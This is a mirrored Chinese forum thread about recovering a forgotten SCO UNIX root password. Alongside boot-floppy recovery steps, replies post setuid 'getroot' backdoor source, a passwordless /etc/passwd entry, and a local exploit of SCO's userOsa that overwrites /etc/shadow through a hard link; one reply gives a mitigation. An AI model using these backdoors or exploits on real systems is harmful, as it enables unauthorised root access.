• 软件测试技术
  • 软件测试博客
  • 软件测试视频
  • 开源软件测试技术
  • 软件测试论坛
  • 软件测试沙龙
  • 软件测试资料下载
  • 软件测试杂志
  • 软件测试人才招聘
    暂时没有公告

字号: | 推荐给好友 上一篇 | 下一篇

请各位快帮帮忙,我无意中把root密码给改了,更改的密码没记住,

发布: 2007-6-08 22:43 | 作者: seanhe | 来源: | 查看: 43次 | 进入软件测试论坛讨论

领测软件测试网
我不小心把unix系统的超级用户密码给更改了,并且密码没记住,哪位大哥大姐帮帮忙,
帮我把密码找回来,谢谢!!Thank very much!

【发表回复】【查看CU论坛原帖】【添加到收藏夹】【关闭】
 sdccf 回复于:2002-08-24 16:34:29
恢复SCO UNIX超级用户口令


  一旦运行SCO UNIX 机器的超级用户口令忘了,可以用这个方法解决。
  在另一台安装了SCO UNIX的机器上,以Root用户注册,进入系统,用 mkdev fd命令或命令scoadmin中的Filesystem之Floppy Filesystem Manager来制作应急启动盘,包括Boottable 盘和Root filesystem盘。
  将上述制作的Root filesystem盘安装到硬盘上。
  # mount /dev/fd0135ds18 /mnt
  再将硬盘上的/etc/passwd 和/tcb/files/auth/r/root两个文件拷贝到Root filesystem盘上。
  # cp /etc/passwd /mnt
  # cp /tcb/files/auth/r/root /mnt
  卸载机器1硬盘上的软盘。
  # umount /dev/rfd0135ds18
  用Boot软盘去启动遗忘口令的机器,根据提示插入Root filesystem软盘,待出现“#”时,进行下面操作,将硬盘挂到软盘上:
  # mount /dev/hd0root /mnt
  备份硬盘上的/etc/passwd和/tcb/files/auth/r/root两个文件。因为这两个文件中还包含其他用户的注册信息。
  用Root filesystem软盘上的两个文件,覆盖硬盘上的两个文件/etc/passwd 和/tcb/files/auth/r/root。
  # mkdir /cyh
  # mount /dev/fd0135ds18 /cyh
  # cd /cyh
  # cp passwd /mnt/etc
  # cp root /mnt/tcb/files/auth
  卸载安装上的两个文件系统。
  # umount /dev/hd0root
  # umount /dev/fd0135ds18
  取出软盘,重新启动机器,待出现Login时,以Root用户注册,键入第二台机器的超级用户口令,这样便可进入的超级用户了。
  进入超级用户后,用Passwd和Root这两个文件的备份覆盖原来的文件,接着用passwd命令修改超级用户的口令。
  用户可以用Alt+F2换一个窗口,以Root注册,现在用修改后的口令就能用了。 

 

 
 



 gu14 回复于:2002-08-26 14:03:36
非常感谢
thank you very much

 sdccf 回复于:2002-08-26 14:16:19
可以了?

 donggua1 回复于:2002-08-26 14:46:55
                           SCO UNIX丢失root密码处理办法
    SCO UNIX openserver5.0.5多用户操作系统以其完善的用户登录密码控制手段受到用户的信赖,但是由于用户登录有/etc/passwd、/etc/shadow双重控制,原来在SCO SVR4下的一些root密码丢失处理办法难以使用。笔者在工作实践中摸索到一个简便易行的办法,可以将丢失root密码的机器用应急盘启动,然后通过一个小程序得到超级用户权限,重新给root用户赋予新密码。具体操作步骤如下。
      1.制作UNIX应急盘,以IDE接口为例
      在其他超级用户密码未丢失的机器上以root用户注册,创建应急启动盘。
      (1)#mkdev fd
      系统提示:
   Choices for contents of the floppy filesystem.
   1. Filesystem
   2. Emergency boot and root floppy filesystems
  Enter an option or q to quit:
      (2)选择2(应急引导和根文件软盘文件系统)
      系统提示:
      Choices for type of floppy filesystem.
      1. 96tpi, double sided, 15 sectors per track (1.2Mb 5.25 inch)
      2. 135tpi, double sided, 18 sectors per track (1.44Mb 3.5 inch)
      3. 135tpi, double sided, 36 sectors per track (2.88Mb 3.5 inch)
    Enter an option or q to quit:
      (3)选择2(1.44Mb、3.5英寸软盘)
  系统提示:
   1. Root filesystem
   2. Boot filesystem
   3. Single floppy boot and root filesystem (2.88Mb only)
      (4)选择2(根文件系统)
      系统提示:
   1. System specific boot
   2. Generic boot (builds a special kernel)
      (5)选择2(普通引导盘)
      系统提示:
      Insert a 135ds18 floppy into drive 0
      Press <RETURN> to continue or q to quit:
      (6)插入一张3.5英寸软盘
      系统提示:
      Would you like to format the floppy first? (y/n)
       在此提示下,最好选择“是”,由于应急盘需要压缩存放大量计算机引导信息,需要比较可靠的软盘,通过UNIX的逐磁道格式化和校验,以确保软盘磁介质的可靠性
      系统提示:
      formatting /dev/rfd0135ds18 ...
      (7)待格式化结束后,系统会自动创建应急引导盘
  Copying files to /dev/fd0135ds18 ...
      135ds18 floppy created and checked successfully.
      Press <RETURN> to continue
      (8)创建root盘,步骤和制作boot盘类似
  系统提示:
  1.Root filesystem
      2.Boot filesystem
      3.Single floppy boot and root filesystem (2.88Mb only)
  选择1,根据系统提示进行相应选择,直到屏幕出现:
  Root filesystem floppy creation complete.
  135ds18 floppy created and checked successfully.
  至此,UNIX应急引导盘制作完毕。
  2.使用应急盘启动root密码丢失的计算机
  首先将boot盘插入计算机,打开电源,待系统出现boot,击确认键,按照系统缺省启动配置启动机器,UNIX操作系统依次检测内存、装入内核和ramdisk,然后提示:
  insert root filesystem floppy and press <Return>
  插入root盘,回车,经过一个比较长的系统启动过程,计算机出现“#”,进入应急盘启动的UNIX操作系统,并且自动进入超级用户。这时根目录下的/etc、/bin、/dev等都不是硬盘的内容,而是ramdisk的内容,如果要访问硬盘,则需要将/dev/hd0root通过mount命令将硬盘架设到当前操作系统上,执行命令:
  #mount /dev/hd0root /mnt
  如果mount过程中提示“可能会伤害文件系统,mount命令失败”,则mount失败的原因可能是在不知道root密码的情况下没有通过正常的关机命令,如shutdown、haltsys、init 0等,关闭计算机,文件系统需要检查一下,执行命令:
  fsck -y /dev/hd0root
  对硬盘文件系统做一下检查和修复,然后再架设硬盘文件系统。如果按照SVR4的办法,将/mnt/etc/passwd文件用vi命令编辑一下,就可以将root用户的密码删除,但是经过测试,由于UNIX openserver 5.0.5有SHADOW控制,修改passwd文件后重新启动机器,root用户仍然有密码。我们经过研究UNIX系统对用户的识别措施和权限控制,编写了一个后门(backdoor)程序getroot,程序源代码如下:
  #include <stdio.h>
  #include <unistd.h>
  main()
  {
  int i=0;//
  int j=3;
  setuid(i);
  setgid(j);
  execl(“/bin/sh",NULL);
  }
  普通用户可以通过执行这个程序,改变自己的用户身份标识为0和属组标识为3,这样UNIX系统就识别到普通用户的身份标识和属组就是超级用户,具有超级用户的权限。具体操作步骤如下。
  (1)在装有开发系统的计算机上录入上述源代码,执行:
  cc getroot.c -o getroot,
  得到后门程序getroot,拷到软盘上:
  tar cvf /dev/rfd0135ds18 ./getroot
  (2)在用应急盘启开的计算机上,将此后门程序拷入硬盘,更改getroot的用户主和组,更改权限,特别是S权限,执行:
  cd /mnt/usr/bin 
  tar xvf /dev/rfd0135ds18
  chown root:sys getroot
  chmod 777 getroot
  chmod +s getroot
  3.重新启动计算机
  将软盘取出,敲reboot命令,用硬盘引导计算机到多用户状态,以任何一个普通用户注册,在$提示符下输入/usr/bin/getroot命令,则系统提示符会自动改为#,这时此普通用户即具有超级用户的一切权限,执行命令:passwd root,重新给root用户赋予一个新密码。如果不知道任何一个普通用户的密码,则在将计算机用应急盘启开并架设上硬盘后,需要手工为原系统增加一个新的无密码用户,执行命令:
  at >>/mnt/etc/passwd,回车
  输入:test::400:50::/:/bin/sh 按ctrl+d退出
  这样就在/etc/passwd文件的最后一行之后定义了test用户,其用户ID为400,组ID为50,属group组,注册目录为根目录,无密码,注册shell为born shell。重启计算机后用test用户注册即可。最后不要忘记将getroot文件删除,rm /usr/bin/getroot,不然任何一个普通用户在不知道超级用户口令的情况下,可以轻松得到超级用户权限,给计算机系统带来安全隐患。




 gu14 回复于:2002-08-30 14:15:04
谢谢!

 寂寞高手 回复于:2002-11-05 16:04:25
    看了各位的解决办法,颇有微辞。其实对SCO Unix 5.X.X忘记口令一事,可以更方便且不伤身体搞掂。具体方法不便在此详述。

 qiaont 回复于:2002-11-05 16:10:46
可以给我发到‘油箱’吗?多谢! yusing@163.com

 wf8801 回复于:2002-11-05 16:15:04
寂寞高手,你也太不仗义了吧!哪出你的真本事,让大家评评你是否真的有那么高!否则就别自诩"寂寞高手"!

 寂寞高手 回复于:2002-11-05 16:29:22
   老兄!也许你认为我在故弄玄虚。说实在话,我不会中你的激将法。因为我不想人人都成为黑客。

 devil8888 回复于:2002-11-05 23:48:03
你的一般用户可以进入吗?如果可以的话就不用象上面的那样麻烦了.

 wellcome 回复于:2002-11-05 23:49:38
一般用户有什么办法吗?请明示!

 mzd73 回复于:2002-11-06 08:18:12
大家在此贵在交流,真的想去黑客别人的,恐怕不多!
贴出来吧,寂寞高手。。。我们等待着。。

 zyc12 回复于:2002-11-06 08:41:26
up!!!!

 threehair 回复于:2002-11-06 08:42:11
如果是AIX忘记密码呢?

 HopeCao 回复于:2002-11-06 09:18:12
SCO UNIXWARE也可以吗?

 库库 回复于:2002-11-06 11:21:14
hp-ux?

 库库 回复于:2002-11-06 11:33:40
切 ~
什么高手?什么黑客?在这里只是学习!不然的话你来干什么?灌水哦?

 我能帮你吗 回复于:2002-11-06 11:58:14
我们等着寂寞高手的回复
my mail: huzhengsco@21cn.com

 devil8888 回复于:2002-11-06 13:36:25
寂寞高手我认为不能说太危险了.

 buffullo 回复于:2002-12-05 11:02:23
希望寂寞高手给予指教,邮箱为 BUFFULLO88@HOTMAIL.COM

 ssun1cn 回复于:2002-12-05 14:02:18
你说的是这个bug吧,我觉得说出来也无所谓,毕竟问题还是存在的,而且并非无法解决


SCO OpenServer 5 的大漏洞 
-------------------------  


SCO UNIX 的大BUG!任何用户都可以破坏系统
sco unix有一个大bug
1.进入一个你可以写的目录。
2. ln /etc/shadow debug.log
3. /etc/sysadm.d/bin/userOsa >>bab
............................
则你的/etc/shadow文件已经被覆盖。任何人可以以任何帐户登录无须密码.
若第二步改为ln /etc/passwd debug.log 则谁也登不上来了!
>>bab 是任意敲入的
..........................是程序的显示
注意整个过程中不要离开当前可写目录!
已在unix 5.0.5 &5.0.4上验证。
原理: 
SCO /etc/sysadm.d/bin/userOsa 这个程序在运行时会生成一个名叫
debug.log的文件这个文件用户属于root 组属于auth
与shadow文件的一致,而且此程序有BUG不会检查用户权限,因此可以覆盖任何文件,
包括passwd和shadow.你在一个可写目录中建立连接(ln命令)将某个文件指向debug.log文件运行userOsa时
它将出错信息写入log文件时实际上就覆盖了那个你想破坏的文件! 

对于一些机器可以,但是有些SCO机器不知为何
如果SHADOW或PASSWORD文件不能联结,对于一些机器可以,但是有些SCO机器不知为何,不允许我LN这两个文件,报错,不知为何?
答:理论上只要对目录/etc 有读权限,就可以链接。在此例中估计必须用硬链接,若用符号链接ln -s 
会因为权限问题未遂。 
答复者:Mike Wolf
防范对策
chmod o-x userOsa即可

 goodmao 回复于:2002-12-05 14:11:07
log in with other user : informix


进入多用户模式:
1 $ln /etc/shadow /tmp/debug.log
2 $ch /tmp
3 $/etc/sysadm.d/bin/userOsa 
4 回车
5 用root登陆,不要密码!!
切记sco上说有的用户都没的密码了!·· 
实验可以,不可仿效!!

 ccblfkejc 回复于:2002-12-05 14:56:32
[quote][b]下面引用由[u]寂寞高手[/u]在 [i]2002/11/05 04:04pm[/i] 发表的内容:[/b]
看了各位的解决办法,颇有微辞。其实对SCO Unix 5.X.X忘记口令一事,可以更方便且不伤身体搞掂。具体方法不便在此详述。
[/quote]
不知你的方法和我的是否一样?我用此方法有时可以有时不可以?!
可以的时候,一下,就把所有口令去了。
不可以的时候,提示“文件未找到”。
为了他人安全,建议不要公开发表!!!!!!

还有一种办法(前提是知道一普通用户口令):
1.用boot软盘引导,mount /dev/hd0root /mnt
2.cd /mnt;cd etc;chmod 777 passwd
3.reboot
4.普通用户进入,vi /etc/passwd
5.将已知用户的id的那两个值改成0:3(和root一致)
6.重新注册,出现#提示符了吧,passwd root
7.vi /etc/passwd将普通用户的值再改回来(切记!!!)
8.………………ok?    :em51: 

 johnsilver 回复于:2002-12-05 15:58:47
一,制作boot和root盘,但在制作root时,要注意密码文件有可能是在password或在shadow中,故需把/etc/password和/etc/shadow也cp到root盘上.
个人意见.仅供参考.

 wenwen 回复于:2002-12-11 23:20:28
制root时,将vi命令拷上,启动丢密码的机器后,将本机器/etc/shadow文件的root的密码文字删除,重启root注册重输密码即可

 legal 回复于:2002-12-12 08:15:21
如在网络上,则可以作 rlogin登录,不要口令的。事先在etc/hosts.equive中添加

 sageyu 回复于:2002-12-13 21:29:11
寂寞高手:大家在此,都是为了交流,否则到此何为?说吧,我们喜耳恭听!

 俺 回复于:2002-12-14 08:19:08
寂寞高手

等待ing

 xgtd 回复于:2002-12-14 09:09:23
  其实又何必如此费事,根本就不需要这两个文件,只要删除这两个文件,系统重新启动root用户便可以登录,不过没有其它用户。

 顽石 回复于:2003-12-28 20:04:19
:(  我用过了那个漏洞,可是运行/etc/sysadm.d/bin/userOsa后系统没有反映呀。所做操作根本与当前可写目录下的debug.log没有关系呀。出错信息是写到/opt/K/SCO/Unix/5.0.6Ga/var/sysadm/debug.log中的的,而普通用户权限不够,无法将这个文件与/etc/shadow建立链接呀。我建应急盘的时候,root盘可以建成功,可是boot盘试了很多次都建不起来,还有其他方法可以取回超级用户的口令吗?

延伸阅读

文章来源于领测软件测试网 https://www.ltesting.net/


关于领测软件测试网 | 领测软件测试网合作伙伴 | 广告服务 | 投稿指南 | 联系我们 | 网站地图 | 友情链接
版权所有(C) 2003-2010 TestAge(领测软件测试网)|领测国际科技(北京)有限公司|软件测试工程师培训网 All Rights Reserved
北京市海淀区中关村南大街9号北京理工科技大厦1402室 京ICP备2023014753号-2
技术支持和业务联系:info@testage.com.cn 电话:010-51297073

软件测试 | 领测国际ISTQBISTQB官网TMMiTMMi认证国际软件测试工程师认证领测软件测试网